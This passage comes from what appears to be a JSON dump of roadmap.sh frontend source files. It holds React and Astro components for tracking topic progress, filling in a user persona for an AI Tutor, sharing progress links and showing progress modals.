px-3 py-1.5 text-left text-sm text-gray-800 hover:bg-gray-100\"\n      onClick={onClick}\n    >\n      <span>\n        <span\n          className={`mr-2 inline-block h-2 w-2 rounded-full ${statusColors[status]}`}\n        ></span>\n        {label}\n      </span>\n      <span className=\"text-xs text-gray-500\">{shortcutKey}</span>\n    </button>\n  );\n}\n\nexport function TopicProgressButton(props: TopicProgressButtonProps) {\n  const { topicId, resourceId, resourceType, onClose, dropdownClassName } =\n    props;\n\n  const toast = useToast();\n  const [isUpdatingProgress, setIsUpdatingProgress] = useState(true);\n  const [progress, setProgress] = useState<ResourceProgressType>('pending');\n  const [showChangeStatus, setShowChangeStatus] = useState(false);\n\n  const changeStatusRef = useRef<HTMLDivElement>(null);\n\n  useOutsideClick(changeStatusRef, () => {\n    setShowChangeStatus(false);\n  });\n\n  const isGuest = useMemo(() => !isLoggedIn(), []);\n\n  useEffect(() => {\n    if (!topicId || !resourceId || !resourceType) {\n      return;\n    }\n\n    setIsUpdatingProgress(true);\n    getTopicStatus({ topicId, resourceId, resourceType })\n      .then((status) => {\n        setIsUpdatingProgress(false);\n        setProgress(status);\n      })\n      .catch(console.error);\n  }, [topicId, resourceId, resourceType]);\n\n  // Mark as done\n  useKeydown(\n    'd',\n    (e: KeyboardEvent) => {\n      if (\n        e.target instanceof HTMLTextAreaElement ||\n        e.target instanceof HTMLInputElement ||\n        e.target instanceof HTMLSelectElement\n      ) {\n        return;\n      }\n\n      if (progress === 'done') {\n        onClose();\n        return;\n      }\n\n      handleUpdateResourceProgress('done');\n    },\n    [progress],\n  );\n\n  // Mark as learning\n  useKeydown(\n    'l',\n    (e: KeyboardEvent) => {\n      if (\n        e.target instanceof HTMLTextAreaElement ||\n        e.target instanceof HTMLInputElement ||\n        e.target instanceof HTMLSelectElement\n      ) {\n        return;\n      }\n\n      if (progress === 'learning') {\n        return;\n      }\n\n      handleUpdateResourceProgress('learning');\n    },\n    [progress],\n  );\n\n  // Mark as learning\n  useKeydown(\n    's',\n    (e: KeyboardEvent) => {\n      if (\n        e.target instanceof HTMLTextAreaElement ||\n        e.target instanceof HTMLInputElement ||\n        e.target instanceof HTMLSelectElement\n      ) {\n        return;\n      }\n\n      if (progress === 'skipped') {\n        onClose();\n        return;\n      }\n\n      handleUpdateResourceProgress('skipped');\n    },\n    [progress],\n  );\n\n  // Mark as pending\n  useKeydown(\n    'r',\n    (e: KeyboardEvent) => {\n      if (\n        e.target instanceof HTMLTextAreaElement ||\n        e.target instanceof HTMLInputElement ||\n        e.target instanceof HTMLSelectElement\n      ) {\n        return;\n      }\n\n      if (progress === 'pending') {\n        return;\n      }\n\n      handleUpdateResourceProgress('pending');\n    },\n    [progress],\n  );\n\n  const handleUpdateResourceProgress = (progress: ResourceProgressType) => {\n    setShowChangeStatus(false);\n\n    if (isGuest) {\n      onClose();\n      showLoginPopup();\n      return;\n    }\n\n    setIsUpdatingProgress(true);\n    updateResourceProgress(\n      {\n        topicId,\n        resourceId,\n        resourceType,\n      },\n      progress,\n    )\n      .then(() => {\n        setProgress(progress);\n        if (progress !== 'learning') {\n          onClose();\n        }\n        renderTopicProgress(topicId, progress);\n        refreshProgressCounters();\n      })\n      .catch((err) => {\n        toast.error(err.message || 'Error updating progress');\n        console.error(err);\n      })\n      .finally(() => {\n        setShowChangeStatus(false);\n        setIsUpdatingProgress(false);\n        queryClient.invalidateQueries(\n          userResourceProgressOptions(resourceType, resourceId),\n        );\n      });\n  };\n\n  const allowMarkingSkipped = ['pending', 'learning', 'done'].includes(\n    progress,\n  );\n  const allowMarkingDone = ['skipped', 'pending', 'learning'].includes(\n    progress,\n  );\n  const allowMarkingLearning = ['done', 'skipped', 'pending'].includes(\n    progress,\n  );\n  const allowMarkingPending = ['skipped', 'done', 'learning'].includes(\n    progress,\n  );\n\n  return (\n    <div className=\"relative inline-flex\">\n      <button\n        disabled={isUpdatingProgress}\n        className={cn(\n          'flex 2xl:min-w-[135px] cursor-default cursor-pointer items-center rounded-md border border-gray-300 p-1 px-2 text-sm text-black hover:border-gray-400 disabled:pointer-events-none disabled:opacity-50',\n        )}\n        onClick={() => setShowChangeStatus(true)}\n      >\n        {!isUpdatingProgress && (\n          <>\n            <span className=\"flex h-2 w-2\">\n              <span\n                className={cn(\n                  'relative inline-flex h-2 w-2 rounded-full',\n                  statusColors[progress],\n                  isUpdatingProgress && 'animate-pulse',\n                )}\n              ></span>\n            </span>\n            <span className=\"ml-2 mr-2 capitalize\">\n              {progress === 'learning' ? 'In Progress' : progress}\n            </span>\n          </>\n        )}\n        {isUpdatingProgress && (\n          <span className=\"flex items-center\">\n            <Loader2 strokeWidth={3} className=\"size-3 flex-shrink-0 animate-spin\" />\n            <span className=\"ml-2 text-sm\">Updating..</span>\n          </span>\n        )}\n        <ChevronDown className=\"ml-auto h-4 w-4\" />\n      </button>\n\n      {showChangeStatus && (\n        <div\n          className={cn(\n            'absolute top-full right-0 z-50 mt-1 flex min-w-[160px] flex-col divide-y rounded-md border border-gray-200 bg-white shadow-md [&>button:first-child]:rounded-t-md [&>button:last-child]:rounded-b-md',\n            dropdownClassName,\n          )}\n          ref={changeStatusRef!}\n        >\n          {allowMarkingDone && (\n            <ProgressDropdownItem\n              status=\"done\"\n              shortcutKey=\"D\"\n              label=\"Done\"\n              onClick={() => handleUpdateResourceProgress('done')}\n            />\n          )}\n          {allowMarkingLearning && (\n            <ProgressDropdownItem\n              status=\"learning\"\n              shortcutKey=\"L\"\n              label=\"In Progress\"\n              onClick={() => handleUpdateResourceProgress('learning')}\n            />\n          )}\n          {allowMarkingPending && (\n            <ProgressDropdownItem\n              status=\"pending\"\n              shortcutKey=\"R\"\n              label=\"Reset\"\n              onClick={() => handleUpdateResourceProgress('pending')}\n            />\n          )}\n          {allowMarkingSkipped && (\n            <ProgressDropdownItem\n              status=\"skipped\"\n              shortcutKey=\"S\"\n              label=\"Skip\"\n              onClick={() => handleUpdateResourceProgress('skipped')}\n            />\n          )}\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/UpcomingForm.astro",
    "content": "---\nimport Icon from './AstroIcon.astro';\n---\n\n<div\n  class='my-0 rounded-lg px-5 pb-12 pt-5 text-left sm:pb-16 sm:pt-0 sm:text-center'\n>\n  <div class='mx-auto sm:max-w-[420px]'>\n    <div class='hidden sm:block'><Icon icon='bell' /></div>\n    <h2 class='text-3xl font-semibold sm:mb-1 sm:font-medium'>Upcoming</h2>\n    <p class='mb-0 inline-flex hidden text-gray-600 sm:mb-5' data-auth-required>\n      You will be notified by email when the roadmap is ready.\n    </p>\n    <p\n      class='mb-0 inline-flex text-gray-600 sm:mb-5'\n      data-guest-required\n    >\n      Please check back later or subscribe below.\n    </p>\n\n    <button\n      data-guest-required\n      data-popup='login-popup'\n      type='button'\n      name='submit'\n      class='font-regular text-md mt-5 w-full rounded-md bg-gray-700 px-5 py-2.5 text-center text-white hover:bg-black sm:mt-0 flex gap-1 items-center justify-center'\n      aria-label='Get Notified'\n    >\n      <Icon icon='bell' class='h-5' /> Notify me when ready!\n    </button>\n    <button\n      data-auth-required\n      type='button'\n      disabled\n      name='submit'\n      class='font-regular text-md mt-5 sm:mt-0 flex hidden w-full items-center justify-center gap-2 rounded-md bg-gray-300 px-5 py-2.5 text-center text-gray-800'\n      aria-label='Get Notified'\n    >\n      Please check back later\n    </button>\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/UserPersona/ChatPersona.tsx",
    "content": "import { useMutation, useQuery } from '@tanstack/react-query';\nimport { UserPersonaForm, type UserPersonaFormData } from './UserPersonaForm';\nimport { roadmapJSONOptions } from '../../queries/roadmap';\nimport { queryClient } from '../../stores/query-client';\nimport { httpPost } from '../../lib/query-http';\nimport { useToast } from '../../hooks/use-toast';\nimport { userRoadmapPersonaOptions } from '../../queries/user-persona';\n\ntype ChatPersonaProps = {\n  roadmapId: string;\n};\n\nexport function ChatPersona(props: ChatPersonaProps) {\n  const { roadmapId } = props;\n\n  const toast = useToast();\n\n  const { data: roadmap } = useQuery(\n    roadmapJSONOptions(roadmapId),\n    queryClient,\n  );\n\n  const { mutate: createUserPersona, isPending: isCreatingUserPersona } =\n    useMutation(\n      {\n        mutationFn: async (data: UserPersonaFormData) => {\n          return httpPost('/v1-set-user-persona', {\n            ...data,\n            roadmapId,\n          });\n        },\n        onError: (error) => {\n          toast.error(error?.message || 'Something went wrong');\n        },\n        onSettled: () => {\n          return queryClient.invalidateQueries(\n            userRoadmapPersonaOptions(roadmapId),\n          );\n        },\n      },\n      queryClient,\n    );\n\n  const roadmapTitle = roadmap?.json.title?.page ?? '';\n\n  return (\n    <div className=\"relative mx-auto flex h-auto max-w-[400px] grow flex-col justify-center p-4 px-2 px-4 sm:h-full sm:p-4\">\n      <div className=\"mb-4 text-left sm:mb-8 sm:text-center\">\n        <img\n          src=\"/img/gifs/wave.gif\"\n          alt=\"Wave\"\n          className=\"mx-auto mb-3 hidden h-16 w-16 sm:mb-5 sm:block sm:h-24 sm:w-24\"\n        />\n        <h2 className=\"text-lg font-semibold sm:text-xl\">\n          Welcome to the AI Tutor\n        </h2>\n        <p className=\"mt-1 pr-8 text-xs text-balance text-gray-500 sm:px-0 sm:text-sm\">\n          Before we start, answer these questions so we can help you better.\n        </p>\n      </div>\n\n      <UserPersonaForm\n        roadmapTitle={roadmapTitle}\n        onSubmit={(data) => {\n          const trimmedGoal = data?.goal?.trim();\n          if (!trimmedGoal) {\n            toast.error('Please describe your goal');\n            return;\n          }\n\n          const trimmedCommit = data?.commit?.trim();\n          if (!trimmedCommit) {\n            toast.error(\n              'Please enter how many hours per week you can commit to learning',\n            );\n            return;\n          }\n\n          createUserPersona(data);\n        }}\n        isLoading={isCreatingUserPersona}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/UserPersona/UpdatePersonaModal.tsx",
    "content": "import { useMutation, useQuery } from '@tanstack/react-query';\n\nimport { userRoadmapPersonaOptions } from '../../queries/user-persona';\nimport { queryClient } from '../../stores/query-client';\nimport { roadmapJSONOptions } from '../../queries/roadmap';\nimport { Modal } from '../Modal';\nimport { UserPersonaForm, type UserPersonaFormData } from './UserPersonaForm';\nimport { httpPost } from '../../lib/query-http';\nimport { useToast } from '../../hooks/use-toast';\nimport { Spinner } from '../ReactIcons/Spinner';\nimport { X } from 'lucide-react';\n\ntype UpdatePersonaModalProps = {\n  roadmapId: string;\n  onClose: () => void;\n};\n\nexport function UpdatePersonaModal(props: UpdatePersonaModalProps) {\n  const { roadmapId, onClose } = props;\n\n  const toast = useToast();\n  const { data: roadmap } = useQuery(\n    roadmapJSONOptions(roadmapId),\n    queryClient,\n  );\n  const { data: userPersona, isLoading: isLoadingUserPersona } = useQuery(\n    userRoadmapPersonaOptions(roadmapId),\n    queryClient,\n  );\n\n  const { mutate: setUserPersona, isPending: isSettingUserPersona } =\n    useMutation(\n      {\n        mutationFn: async (data: UserPersonaFormData) => {\n          return httpPost('/v1-set-user-persona', {\n            ...data,\n            roadmapId,\n          });\n        },\n        onError: (error) => {\n          toast.error(error?.message || 'Something went wrong');\n        },\n        onSuccess: () => {\n          onClose();\n        },\n        onSettled: () => {\n          return queryClient.invalidateQueries(\n            userRoadmapPersonaOptions(roadmapId),\n          );\n        },\n      },\n      queryClient,\n    );\n\n  const roadmapTitle = roadmap?.json?.title?.page ?? '';\n\n  return (\n    <Modal\n      onClose={onClose}\n      wrapperClassName=\"max-w-[450px]\"\n      bodyClassName=\"p-4\"\n    >\n      <button\n        onClick={onClose}\n        className=\"absolute top-2.5 right-2.5 inline-flex items-center rounded-lg bg-transparent p-1.5 text-sm text-gray-400 hover:bg-gray-200 hover:text-gray-900\"\n      >\n        <X className=\"h-5 w-5\" />\n      </button>\n\n      {isLoadingUserPersona && (\n        <div className=\"absolute inset-0 z-50 flex h-full flex-row items-center justify-center gap-3 bg-white\">\n          <Spinner isDualRing={false} className=\"h-4 w-4\" />\n          <p className=\"text-base text-gray-500\">Loading...</p>\n        </div>\n      )}\n\n      <div className=\"mb-4 text-left\">\n        <h2 className=\"text-lg font-semibold\">Tell us more about yourself</h2>\n        <p className=\"mt-1 text-sm text-balance text-gray-500\">\n          We'll use this information to help you get the best out of the AI\n          Tutor.\n        </p>\n      </div>\n\n      <UserPersonaForm\n        key={userPersona ? 'loaded' : 'loading'}\n        className=\"space-y-4\"\n        roadmapTitle={roadmapTitle}\n        defaultValues={{\n          expertise: userPersona?.expertise ?? '',\n          goal: userPersona?.goal ?? '',\n          commit: userPersona?.commit ?? '',\n          about: userPersona?.about ?? '',\n        }}\n        onSubmit={(data) => {\n          const trimmedGoal = data?.goal?.trim();\n          if (!trimmedGoal) {\n            toast.error('Please describe your goal');\n            return;\n          }\n\n          const trimmedCommit = data?.commit?.trim();\n          if (!trimmedCommit) {\n            toast.error(\n              'Please enter how many hours per week you can commit to learning',\n            );\n            return;\n          }\n\n          setUserPersona(data);\n        }}\n        isLoading={isSettingUserPersona}\n      />\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/UserPersona/UserPersonaForm.tsx",
    "content": "import { useId, useRef, useState } from 'react';\nimport { SelectNative } from '../SelectNative';\nimport { Loader2Icon, MessageCircle } from 'lucide-react';\nimport { cn } from '../../lib/classname';\n\nexport type UserPersonaFormData = {\n  expertise: string;\n  goal: string;\n  commit: string;\n  about: string;\n};\n\ntype UserPersonaFormProps = {\n  roadmapTitle: string;\n  defaultValues?: UserPersonaFormData;\n  onSubmit: (data: UserPersonaFormData) => void;\n\n  className?: string;\n\n  isLoading?: boolean;\n};\n\nexport function UserPersonaForm(props: UserPersonaFormProps) {\n  const {\n    roadmapTitle,\n    defaultValues,\n    className = '',\n    onSubmit,\n    isLoading,\n  } = props;\n  const [expertise, setExpertise] = useState(defaultValues?.expertise ?? '');\n\n  const goalOptions = [\n    'Finding a job',\n    'Learning for fun',\n    'Building a side project',\n    'Switching careers',\n    'Getting a promotion',\n    'Filling knowledge gaps',\n    'Other',\n  ];\n\n  const getInitialGoalSelection = () => {\n    if (!defaultValues?.goal) {\n      return '';\n    }\n\n    // Check if the goal matches any predefined option\n    for (const option of goalOptions.slice(0, -1)) {\n      // Exclude 'Other'\n      if (defaultValues.goal.startsWith(option)) {\n        return option;\n      }\n    }\n\n    return 'Other';\n  };\n\n  const [selectedGoal, setSelectedGoal] = useState(getInitialGoalSelection());\n  const [goal, setGoal] = useState(defaultValues?.goal ?? '');\n  const [commit, setCommit] = useState(defaultValues?.commit ?? '');\n  const [about, setAbout] = useState(defaultValues?.about ?? '');\n\n  const expertiseFieldId = useId();\n  const goalFieldId = useId();\n  const goalSelectId = useId();\n  const commitFieldId = useId();\n  const aboutFieldId = useId();\n\n  const goalRef = useRef<HTMLTextAreaElement>(null);\n\n  const handleGoalSelectionChange = (value: string) => {\n    setSelectedGoal(value);\n\n    if (value === 'Other') {\n      setGoal('');\n      setTimeout(() => {\n        goalRef.current?.focus();\n      }, 0);\n    } else {\n      setGoal(value);\n    }\n  };\n\n  const handleSubmit = (e: React.FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n    onSubmit({ expertise, goal, commit, about });\n  };\n\n  const hasFormCompleted = !!expertise && !!goal && !!commit;\n\n  return (\n    <form onSubmit={handleSubmit} className={cn('space-y-5', className)}>\n      <div className=\"flex flex-col gap-3\">\n        <label\n          className=\"text-sm font-medium text-gray-700\"\n          htmlFor={expertiseFieldId}\n        >\n          Rate your expertise in {roadmapTitle}:\n        </label>\n        <SelectNative\n          id={expertiseFieldId}\n          value={expertise}\n          defaultValue={expertise}\n          onChange={(e) => setExpertise(e.target.value)}\n          className=\"h-[40px] border-gray-300 text-sm focus:border-gray-500 focus:ring-1 focus:ring-gray-500\"\n        >\n          <option value=\"\">Select your expertise</option>\n          {[\n            'No experience (just starting out)',\n            'Beginner (less than 1 year of experience)',\n            'Intermediate (1-3 years of experience)',\n            'Expert (3-5 years of experience)',\n            'Master (5+ years of experience)',\n          ].map((expertise) => (\n            <option key={expertise} value={expertise}>\n              {expertise}\n            </option>\n          ))}\n        </SelectNative>\n      </div>\n\n      <div className=\"flex flex-col gap-3\">\n        <label\n          className=\"text-sm font-medium text-gray-700\"\n          htmlFor={goalSelectId}\n        >\n          What is your goal?\n        </label>\n\n        <SelectNative\n          id={goalSelectId}\n          value={selectedGoal}\n          onChange={(e) => handleGoalSelectionChange(e.target.value)}\n          className=\"h-[40px] border-gray-300 text-sm focus:border-gray-500 focus:ring-1 focus:ring-gray-500\"\n        >\n          <option value=\"\">Select your goal</option>\n          {goalOptions.map((goalOption) => (\n            <option key={goalOption} value={goalOption}>\n              {goalOption}\n            </option>\n          ))}\n        </SelectNative>\n\n        {selectedGoal === 'Other' && (\n          <textarea\n            ref={goalRef}\n            id={goalFieldId}\n            className=\"block min-h-24 w-full resize-none rounded-lg border border-gray-300 bg-white px-4 py-3 text-sm outline-none placeholder:text-gray-400 focus:border-gray-500 focus:ring-1 focus:ring-gray-500\"\n            placeholder=\"e.g. need to find a job as soon as possible\"\n            value={goal}\n            onChange={(e) => setGoal(e.target.value)}\n          />\n        )}\n      </div>\n\n      <div className=\"flex flex-col gap-3\">\n        <label\n          className=\"text-sm font-medium text-gray-700\"\n          htmlFor={commitFieldId}\n        >\n          How many hours per week can you commit to learning?\n        </label>\n\n        <input\n          id={commitFieldId}\n          className=\"block h-[40px] w-full resize-none rounded-lg border border-gray-300 bg-white px-4 text-sm outline-none placeholder:text-gray-400 focus:border-gray-500 focus:ring-1 focus:ring-gray-500\"\n          placeholder=\"e.g. 10 hours per week\"\n          value={commit}\n          onChange={(e) => setCommit(e.target.value)}\n        />\n      </div>\n\n      <div className=\"flex flex-col gap-3\">\n        <label\n          className=\"text-sm font-medium text-gray-700\"\n          htmlFor={aboutFieldId}\n        >\n          Tell us about yourself (optional but recommended)\n        </label>\n\n        <textarea\n          id={aboutFieldId}\n          className=\"block min-h-24 w-full resize-none rounded-lg border border-gray-300 bg-white px-4 py-3 text-sm outline-none placeholder:text-gray-400 focus:border-gray-500 focus:ring-1 focus:ring-gray-500\"\n          placeholder=\"e.g. I'm a frontend developer with experience in React, looking to expand my backend skills...\"\n          value={about}\n          onChange={(e) => setAbout(e.target.value)}\n        />\n      </div>\n\n      <button\n        disabled={isLoading || !hasFormCompleted}\n        type=\"submit\"\n        className=\"mt-6 flex h-11 w-full items-center justify-center gap-2 rounded-lg bg-black px-6 py-2 text-sm text-white transition-all hover:bg-gray-900 disabled:pointer-events-none disabled:opacity-50\"\n      >\n        {isLoading ? (\n          <Loader2Icon className=\"size-4 animate-spin stroke-[2.5]\" />\n        ) : (\n          <>\n            {defaultValues ? (\n              <>\n                <MessageCircle className=\"size-4\" />\n                Update Information\n              </>\n            ) : (\n              <>\n                <MessageCircle className=\"size-4\" />\n                Start Chatting\n              </>\n            )}\n          </>\n        )}\n      </button>\n    </form>\n  );\n}\n"
  },
  {
    "path": "src/components/UserProgress/ModalLoader.tsx",
    "content": "import { ErrorIcon } from '../ReactIcons/ErrorIcon';\nimport { Spinner } from '../ReactIcons/Spinner';\n\ntype ModalLoaderProps = {\n  isLoading: boolean;\n  error?: string;\n  text: string;\n};\n\nexport function ModalLoader(props: ModalLoaderProps) {\n  const { isLoading, text, error } = props;\n\n  return (\n    <div className=\"fixed top-0 right-0 left-0 z-100 h-full items-center justify-center overflow-x-hidden overflow-y-auto overscroll-contain bg-black/50\">\n      <div className=\"relative mx-auto flex h-full w-full items-center justify-center\">\n        <div className=\"popup-body relative rounded-lg bg-white p-5 shadow-sm\">\n          <div className=\"flex items-center\">\n            {isLoading && (\n              <>\n                <Spinner className=\"h-6 w-6\" isDualRing={false} />\n                <span className=\"ml-3 text-lg font-semibold\">\n                  {text || 'Loading...'}\n                </span>\n              </>\n            )}\n\n            {error && (\n              <>\n                <ErrorIcon additionalClasses=\"h-6 w-6 text-red-500\" />\n                <span className=\"ml-3 text-lg font-semibold\">{error}</span>\n              </>\n            )}\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/UserProgress/ProgressShareButton.tsx",
    "content": "import { useAuth } from '../../hooks/use-auth';\nimport { useCopyText } from '../../hooks/use-copy-text';\nimport type { ResourceType } from '../../lib/resource-progress';\nimport { CheckIcon } from '../ReactIcons/CheckIcon';\nimport { ShareIcon } from '../ReactIcons/ShareIcon';\nimport { cn } from '../../lib/classname';\n\ntype ProgressShareButtonProps = {\n  resourceId: string;\n  resourceType: ResourceType;\n  className?: string;\n  shareIconClassName?: string;\n  checkIconClassName?: string;\n  isCustomResource?: boolean;\n};\nexport function ProgressShareButton(props: ProgressShareButtonProps) {\n  const {\n    resourceId,\n    resourceType,\n    className,\n    shareIconClassName,\n    checkIconClassName,\n    isCustomResource,\n  } = props;\n\n  const user = useAuth();\n  const { copyText, isCopied } = useCopyText();\n\n  function handleCopyLink() {\n    const isDev = import.meta.env.DEV;\n    const newUrl = new URL(\n      isDev ? 'http://localhost:3000' : 'https://roadmap.sh'\n    );\n\n    if (resourceType === 'roadmap' && !isCustomResource) {\n      newUrl.pathname = `/${resourceId}`;\n    } else if (resourceType === 'best-practice' && !isCustomResource) {\n      newUrl.pathname = `/best-practices/${resourceId}`;\n    } else {\n      newUrl.pathname = `/r`;\n      newUrl.searchParams.set('id', resourceId || '');\n    }\n\n    newUrl.searchParams.set('s', user?.id || '');\n    copyText(newUrl.toString());\n  }\n\n  if (!user) {\n    return null;\n  }\n\n  return (\n    <button\n      className={cn(\n        'flex items-center gap-1 text-xs sm:text-sm font-medium disabled:cursor-not-allowed disabled:opacity-70',\n        isCopied ? 'text-green-500' : 'text-gray-500 hover:text-black',\n        className\n      )}\n      onClick={handleCopyLink}\n    >\n      {isCopied ? (\n        <>\n          <CheckIcon additionalClasses={`h-3.5 w-3.5 ${checkIconClassName}`} />{' '}\n          Link Copied\n        </>\n      ) : (\n        <>\n          <ShareIcon\n            className={`h-3.5 w-3.5 stroke-[2.5px] ${shareIconClassName}`}\n          />{' '}\n          Share Progress\n        </>\n      )}\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/UserProgress/UserCustomProgressModal.tsx",
    "content": "import { useEffect, useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { httpGet } from '../../lib/http';\nimport type { ResourceType } from '../../lib/resource-progress';\nimport { topicSelectorAll } from '../../lib/resource-progress';\nimport { deleteUrlParam, getUrlParams } from '../../lib/browser';\nimport { useAuth } from '../../hooks/use-auth';\nimport type { GetRoadmapResponse } from '../CustomRoadmap/CustomRoadmap';\nimport { ReadonlyEditor } from '@roadmapsh/editor';\nimport { ModalLoader } from './ModalLoader.tsx';\nimport { UserProgressModalHeader } from './UserProgressModalHeader';\nimport { X } from 'lucide-react';\n\nexport type ProgressMapProps = {\n  userId?: string;\n  resourceId: string;\n  resourceType: ResourceType;\n  onClose?: () => void;\n  isCustomResource?: boolean;\n};\n\ntype UserProgressResponse = {\n  user: {\n    _id: string;\n    name: string;\n  };\n  progress: {\n    total: number;\n    done: string[];\n    learning: string[];\n    skipped: string[];\n  };\n};\n\nexport function UserCustomProgressModal(props: ProgressMapProps) {\n  const {\n    resourceId,\n    resourceType,\n    userId: propUserId,\n    onClose: onModalClose,\n    isCustomResource,\n  } = props;\n\n  const { s: userId = propUserId } = getUrlParams();\n  if (!userId) {\n    return null;\n  }\n\n  const resourceSvgEl = useRef<HTMLDivElement>(null);\n  const popupBodyEl = useRef<HTMLDivElement>(null);\n  const currentUser = useAuth();\n\n  const [roadmap, setRoadmap] = useState<GetRoadmapResponse | null>(null);\n  const [showModal, setShowModal] = useState(!!userId);\n  const [progressResponse, setProgressResponse] =\n    useState<UserProgressResponse>();\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [error, setError] = useState('');\n\n  async function getUserProgress(\n    userId: string,\n    resourceType: string,\n    resourceId: string,\n  ): Promise<UserProgressResponse | undefined> {\n    const { error, response } = await httpGet<UserProgressResponse>(\n      `${\n        import.meta.env.PUBLIC_API_URL\n      }/v1-get-user-progress/${userId}?resourceType=${resourceType}&resourceId=${resourceId}`,\n    );\n\n    if (error || !response) {\n      throw error || new Error('Something went wrong. Please try again!');\n    }\n\n    return response;\n  }\n\n  async function getRoadmapSVG(): Promise<GetRoadmapResponse> {\n    const { error, response: roadmapData } = await httpGet<GetRoadmapResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-roadmap/${resourceId}`,\n    );\n    if (error || !roadmapData) {\n      throw error || new Error('Something went wrong. Please try again!');\n    }\n\n    setRoadmap(roadmapData);\n    return roadmapData;\n  }\n\n  function onClose() {\n    deleteUrlParam('s');\n    setError('');\n    setShowModal(false);\n\n    if (onModalClose) {\n      onModalClose();\n    } else {\n      window.location.reload();\n    }\n  }\n\n  useKeydown('Escape', () => {\n    onClose();\n  });\n\n  useOutsideClick(popupBodyEl, () => {\n    onClose();\n  });\n\n  useEffect(() => {\n    if (!resourceId || !resourceType || !userId) {\n      return;\n    }\n\n    setIsLoading(true);\n    Promise.all([\n      getRoadmapSVG(),\n      getUserProgress(userId, resourceType, resourceId),\n    ])\n      .then(([_, user]) => {\n        if (!user) {\n          return;\n        }\n\n        setProgressResponse(user);\n      })\n      .catch((err) => {\n        setError(err?.message || 'Something went wrong. Please try again!');\n      })\n      .finally(() => {\n        setIsLoading(false);\n      });\n  }, [userId]);\n\n  if (currentUser?.id === userId) {\n    deleteUrlParam('s');\n    return null;\n  }\n\n  if (!showModal) {\n    return null;\n  }\n\n  if (isLoading || error) {\n    return (\n      <ModalLoader\n        text={'Loading user progress..'}\n        isLoading={isLoading}\n        error={error || ''}\n      />\n    );\n  }\n\n  return (\n    <div\n      id={'user-progress-modal'}\n      className=\"fixed left-0 right-0 top-0 z-100 h-full items-center justify-center overflow-y-auto overflow-x-hidden overscroll-contain bg-black/50\"\n    >\n      <div className=\"relative mx-auto h-full w-full max-w-4xl p-4 md:h-auto\">\n        <div\n          ref={popupBodyEl}\n          className={`popup-body relative rounded-lg bg-white pt-[1px] shadow-sm`}\n        >\n          <UserProgressModalHeader\n            isLoading={isLoading}\n            progressResponse={progressResponse}\n          />\n\n          <div ref={resourceSvgEl} className=\"px-4 pb-2\">\n            <ReadonlyEditor\n              variant=\"modal\"\n              roadmap={roadmap!}\n              className=\"min-h-[400px]\"\n              onRendered={(wrapperRef) => {\n                const {\n                  done = [],\n                  learning = [],\n                  skipped = [],\n                } = progressResponse?.progress || {};\n\n                done?.forEach((topicId: string) => {\n                  topicSelectorAll(topicId, wrapperRef?.current!).forEach(\n                    (el) => {\n                      el.classList.add('done');\n                    },\n                  );\n                });\n\n                learning?.forEach((topicId: string) => {\n                  topicSelectorAll(topicId, wrapperRef?.current!).forEach(\n                    (el) => {\n                      el.classList.add('learning');\n                    },\n                  );\n                });\n\n                skipped?.forEach((topicId: string) => {\n                  topicSelectorAll(topicId, wrapperRef?.current!).forEach(\n                    (el) => {\n                      el.classList.add('skipped');\n                    },\n                  );\n                });\n              }}\n              fontFamily=\"Balsamiq Sans\"\n              fontURL=\"/fonts/balsamiq.woff2\"\n            />\n          </div>\n\n          <button\n            type=\"button\"\n            className={`absolute right-2.5 top-3 ml-auto inline-flex items-center rounded-lg bg-gray-100 bg-transparent p-1.5 text-sm text-gray-400 hover:text-gray-900 lg:hidden`}\n            onClick={onClose}\n          >\n            <X className=\"h-4 w-4\" />\n            <span className=\"sr-only\">Close modal</span>\n          </button>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/UserProgress/UserProgressModal.tsx",
    "content": "import { useEffect, useRef, useState } from 'react';\nimport { wireframeJSONToSVG } from 'roadmap-renderer';\nimport '../FrameRenderer/FrameRenderer.css';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { httpGet } from '../../lib/http';\nimport type { ResourceType } from '../../lib/resource-progress';\nimport { topicSelectorAll } from '../../lib/resource-progress';\nimport { deleteUrlParam, getUrlParams } from '../../lib/browser';\nimport { useAuth } from '../../hooks/use-auth';\nimport { ModalLoader } from './ModalLoader.tsx';\nimport { UserProgressModalHeader } from './UserProgressModalHeader';\nimport { X } from 'lucide-react';\nimport type { AllowedRoadmapRenderer } from '../../lib/roadmap.ts';\nimport { renderFlowJSON } from '@roadmapsh/editor';\n\nexport type ProgressMapProps = {\n  userId?: string;\n  resourceId: string;\n  resourceType: ResourceType;\n  onClose?: () => void;\n  isCustomResource?: boolean;\n  renderer?: AllowedRoadmapRenderer;\n};\n\nexport type UserProgressResponse = {\n  user: {\n    _id: string;\n    name: string;\n  };\n  progress: {\n    total: number;\n    done: string[];\n    learning: string[];\n    skipped: string[];\n  };\n};\n\nexport function UserProgressModal(props: ProgressMapProps) {\n  const {\n    resourceId,\n    resourceType,\n    userId: propUserId,\n    onClose: onModalClose,\n    renderer = 'balsamiq',\n  } = props;\n\n  const { s: userId = propUserId } = getUrlParams();\n  if (!userId) {\n    return null;\n  }\n\n  const resourceSvgEl = useRef<HTMLDivElement>(null);\n  const popupBodyEl = useRef<HTMLDivElement>(null);\n  const currentUser = useAuth();\n\n  const [showModal, setShowModal] = useState(!!userId);\n  const [resourceSvg, setResourceSvg] = useState<SVGElement | null>(null);\n  const [progressResponse, setProgressResponse] =\n    useState<UserProgressResponse>();\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [error, setError] = useState('');\n\n  let resourceJsonUrl = import.meta.env.DEV\n    ? 'http://localhost:3000'\n    : 'https://roadmap.sh';\n  if (resourceType === 'roadmap' && renderer === 'balsamiq') {\n    resourceJsonUrl += `/${resourceId}.json`;\n  } else if 